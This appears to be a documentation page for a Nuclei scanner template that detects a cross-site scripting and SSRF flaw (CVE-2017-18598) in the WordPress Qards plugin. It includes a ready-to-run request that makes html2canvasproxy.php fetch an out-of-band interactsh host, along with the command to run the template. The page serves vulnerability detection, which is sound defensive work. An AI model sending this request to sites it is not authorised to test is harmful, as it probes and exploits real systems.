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WordPress Qards - Cross-Site Scripting

ID: CVE-2017-18598

Severity: medium

Author: pussycat0x

Tags: cve2017,cve,wp-plugin,oast,wpscan,wordpress,ssrf,xss,designmodo

Description

Section titled “Description”

WordPress Qards through 2017-10-11 contains a cross-site scripting vulnerability via a remote document specified in the URL parameter to html2canvasproxy.php.

YAML Source

Section titled “YAML Source”
id: CVE-2017-18598


info:
  name: WordPress Qards - Cross-Site Scripting
  author: pussycat0x
  severity: medium
  description: WordPress Qards through 2017-10-11 contains a cross-site scripting vulnerability via a remote document specified in the URL parameter to html2canvasproxy.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Qards plugin, which includes a fix for this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8934
    - https://wpscan.com/vulnerability/454a0ce3-ecfe-47fc-a282-5caa51370645
    - https://wpvulndb.com/vulnerabilities/8934
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18598
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18598
    cwe-id: CWE-79
    epss-score: 0.00094
    epss-percentile: 0.39752
    cpe: cpe:2.3:a:designmodo:qards:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: designmodo
    product: qards
    framework: wordpress
  tags: cve2017,cve,wp-plugin,oast,wpscan,wordpress,ssrf,xss,designmodo
flow: http(1) && http(2)


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/qards/'


  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/qards/html2canvasproxy.php?url=https://{{interactsh-url}}'


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"


      - type: word
        part: body
        words:
          - "console.log"
# digest: 490a0046304402204efc439220facc31aacb4ea57036f4180f26852e19009d69143d9c106479db850220224e077225a9fb476f0747e1c61be7fb961e9af4eac816ec4ab7d70d3431bec7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-18598.yaml"

View on Github